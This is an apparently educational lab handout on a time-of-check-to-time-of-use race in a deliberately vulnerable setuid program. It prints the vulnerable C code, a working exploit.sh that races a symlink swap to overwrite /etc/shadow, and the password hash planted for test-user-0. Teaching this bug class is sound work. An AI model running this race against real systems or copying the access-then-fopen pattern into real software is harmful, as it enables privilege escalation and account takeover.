The Vulnerable Root Program

Our vulnerable program is can be found in /Root/vulnerable_root_prog. Open /FilesForRoot/vulnerable_root_prog.c to find out what it does.

The program expects two arguments: to be stored at char *fileName, and char *match. It is a supposedly secure program that will allow root to replace *match string inside *fileName with an SHA-512 hashed password 00000.

    if (argc < 3)
    {
        printf("ERROR, no file supplied, and no username supplied. Exiting now.\n");
        return 0;
    }

    char *fileName = argv[1];
    char *match = argv[2];
    FILE *fileHandler;

    ....

It will then check with the access system call on whether or not the caller of this program (it’s REAL ID) has permission to access the target fileName:

    if (!access(fileName, W_OK))
    {
        printf("Access Granted \n");
        ....

    }

Below we paste the documentation for access() from Linux man page:

access() checks whether the calling process can access the file pathname. If pathname is a symbolic link, it is dereferenced.

The check is done using the calling process’s real UID and GID, rather than the effective IDs as is done when actually attempting an operation (e.g., open, fopen, execvp, etc) on the file. Similarly, for the root user, the check uses the set of permitted capabilities rather than the set of effective capabilities; and for non-root users, the check uses an empty set of capabilities.

This allows set-user-ID programs and capability-endowed programs to easily determine the invoking user’s authority. In other words, access() does not answer the “can I read/write/execute this file?” question. It answers a slightly different question: “(assuming I’m a setuid binary) can the ACTUAL user who invoked me read/write/execute this file?”, which gives set-user-ID programs the possibility to prevent malicious users from causing them to read files which users shouldn’t be able to read.”

Other system calls: execvp, open that we used in rootdo or standard sudo only checks the effective ID of the calling process, not the real ID.

rootdo runs with effective root privileges (effective, not real, since the caller to rootdo is only normal user), and that’s enough to run the cat /etc/shadow program since cat doesn’t utilise access() to check for the calling process.

On the other hand, vulnerable_root_prog tries to be more secure by using the access system call to prevent users with elevated privileges to modify files that do not belong to them.

However, vulnerable_root_prog “security” attempt fails miserably and ends up being susceptible to a particular race condition attack due this weakness called TOCTOU (time-of-check time-of-update)!

TOCTOU Bug

The time-of-check to time-of-use (often abbreviated asTOCTOU, TOCTTOU or TOC/TOU) is a class of software bug caused by a race condition involving:

  • The checking of the state of a part of a system (such as this check in vulnerable_root_prog using access),
  • And the actual use of the results of that check

We exaggerate the DELAY between:

  1. The TIME of CHECK of the file using access and
  2. The TIME OF USE (actual usage of the file) using fopen by setting sleep(DELAY) in between the two instructions, where DELAY is specified as 1 to simulate 1 second delay.
...
    if (!access(fileName, W_OK))
    {
        printf("Access Granted \n");
        /*Simulating the Delay*/
        sleep(DELAY); // sleep for 1 sec, exaggerate delay
        ...

        int byte_index = 0;
        int previous_byte_index = 0;
        int byte_match = -1;

        FILE *fp = fopen(fileName, "r+");
        ...
    }

Consider the vulnerable_root_prog being called by a user to modify a text file belonging to the user account as such:

The access() check of course grants the normal user caller to modify userfile.txt because indeed it belongs to the normal user (ubuntu in the screenshot above).

The output doesn’t make sense as of now, but we will explain what those hash values are about really soon. The vulnerable_root_prog does two things:

  1. Accepts a fileName and a string inside that file to match.
  2. It will replace that string inside the file with the hash value: $6$jPSpZ3iS84semtGU$DLwyTleAM2Of8NzDrwwNTnuSamJlnTx6NlMgbhPT5L8POT/J1MSCPucOAp1Qt3zRClS2NWT.RksROF9R1XLrn0 if access() system call grants permission.

We will soon exploit this bug with symbolic link.

A symbolic link is a special kind of file that points to (reference) another file, much like a shortcut in Windows or a Macintosh alias. It contains a text string that is automatically interpreted and followed by the operating system as a path to another file or directory.

Task 9

TASK 9: Creating symbolic link.

For instance, we can create a text file with:

echo "good morning" > goodmorning.txt

Then we can create a symbolic link using the command:

ln -s <source> <symlink>

In this example below, we created a goodmorning_symlink.txt that points to the actual file goodmorning.txt:

During this delay between checking (with access) and usage (with fopen):

  1. A malicious attacker can replace the actual file text.txt into a symbolic link pointing to a protected file, e.g: /etc/shadow
  2. Since fopen only checks effective user ID, and vulnerable_root_prog has its SUID bit set (runs effectively as root despite being called by only normal user), the “supposedly secure” rootprog can end up allowing normal user to gain elevated privileges to MODIFY protected file like /etc/shadow.

In the screenshot below, we created a symbolic link userfile.txt to point to /etc/shadow, resulting in the regular user being unable to cat userfile.txt.

We have written the program to create the symbolic link for you. It is inside /User/symlink.c.

Race Condition

The malicious attacker has to attack and can only successfully launch the attack (modifying userfile.txt -> /etc/shadow) during that time window between time-of-check (access) and time-of-use (fopen), hence the term “race condition vulnerability attack” or “a bug caused by race condition”.

The attacker has to literally RACE with the vulnerable_root_prog to quickly change the userfile.txt into a symbolic link pointing to /etc/shadow ONLY on this very specific time window of AFTER the access() check and BEFORE the fopen().

The Attack

/etc/shadow

We will use this TOCTOU bug in vulnerable_root_prog to modify the content of the file: /etc/shadow.

/etc/shadow is shadow password file; a system file in Linux that stores hashed user passwords and is accessible only to the root user, preventing unauthorized users or malicious actors from breaking into the system.

Try reading it using sudo cat /etc/shadow. You will find that the lines have the following format:

usernm:$y$Apj1GQn.U$ZWWEtt19A8:17736:0:99999:7:::
[----] [---------------------] [---] - [---] ----
|                 |              |   |   |   |||+-----------> 9. Unused
|                 |              |   |   |   ||+------------> 8. Expiration date
|                 |              |   |   |   |+-------------> 7. Inactivity period
|                 |              |   |   |   +--------------> 6. Warning period
|                 |              |   |   +------------------> 5. Maximum password age
|                 |              |   +----------------------> 4. Minimum password age
|                 |              +--------------------------> 3. Last password change
|                 +-----------------------------------------> 2. Hashed Password
+-----------------------------------------------------------> 1. Username

Pay attention to segment 2: It contains the password of the usernm using the $type$salt$hashed format. 1.$type is the method cryptographic hash algorithm and can have the following values:

  • $1$ – MD5
  • $2a$ – Blowfish
  • $y$ – yescrypt
  • $5$ – SHA-256
  • $6$ – SHA-512

If the hashed password field contains an asterisk (*) or exclamation point (!), the user will not be able to login to the system using password authentication. Other login methods like key-based authentication or switching to the user are still allowed (out of scope). You can read more about the file here but it’s not crucial. Let’s move on.

Replacing Hashed Password in /etc/shadow

We aim to:

  1. Replace the targeted username entry in /etc/shadow with a new Hashed Password section
  2. So that we can login to this targeted username using preset password 00000 (five zeroes), effectively overriding the password you set earlier.
  3. “We” being regular user account (NOT root!) but with the help of this TOCTOU bug from vulnerable_root_prog.

These targeted username is none other than test-user-0 that you have created earlier.

Task 10

TASK 10: Launch attack that does the 3 things above by running exploit.sh.

While logged in as a regular user (your original username), change your directory to /User/ and run the script exploit.sh:

cd User
./exploit.sh

The program will run for awhile (20-30 secs) and eventually stop with such message:

If you do a cat /etc/shadow right now, notice how test-user-0 account hashed password section has been changed to match that replacement_text in vulnerable_root_prog:

Login to target user account

Task 11

TASK : Login to user account test-user-0 with password 00000 Now you can login to test-user-0 account with password: 00000 instead of your originally set password:

We have successfully changed a supposedly protected /etc/shadow file while logged in as a regular user (ubuntu in the example above).

What Happened?

Open exploit.sh file inside /User/ directory:

#!/bin/sh
# exploit.sh

# note the backtick ` means assigning a command to a variable
OLDFILE=`ls -l /etc/shadow`
NEWFILE=`ls -l /etc/shadow`

# continue until THE ROOT_FILE.txt is changed
while [ "$OLDFILE" = "$NEWFILE" ]
do
    rm -f userfile.txt
    # create userfile again
    cp userfile_original.txt userfile.txt

    # the following is done simultanously
    # if a command is terminated by the control operator &, the shell executes the command in the background in a subshell.
    # the shell does not wait for the command to finish, and the return status is 0.
    # on the other hand, commands separated by a ; are executed sequentially; the shell waits for each command to terminate in turn.
    # the return status is the exit status of the last command executed.
    ../Root/vulnerable_root_prog userfile.txt test-user-0 & ./symlink userfile.txt /etc/shadow & NEWFILE=`ls -l /etc/shadow`

done

echo "SUCCESS! The root file has been changed"

The first two lines create a variable called OLDFILE and NEWFILE, containing the file information of /etc/shadow.

OLDFILE=`ls -l /etc/shadow`
NEWFILE=`ls -l /etc/shadow`

Then, the main loop is repeated until /etc/shadow is successfully changed (different timestamp and size):

  1. Remove existing userfile.txt if any (from previous loop)
  2. Then, create userfile.txt (this line can be replaced by any other instructions that create this userfile.txt)
  3. Then, runs 3 commands in succession:
    1. ../Root/vulnerable_root_prog userfile.txt test-user-0: runs the vulnerable program with userfile.txt, belonging to currently logged in user account and the targeted username.
    2. ./symlink userfile.txt /etc/shadow: immediately, executes the symlink program to change userfile.txt to point to /etc/shadow.
    3. NEWFILE=ls -l /etc/shadow: check the file info of /etc/shadowand store it into variableNEWFILE`; to be used in the next loop check

Step (3.1) and (3.2) above are racing, and the script terminates when /etc/shadow has been successfully changed.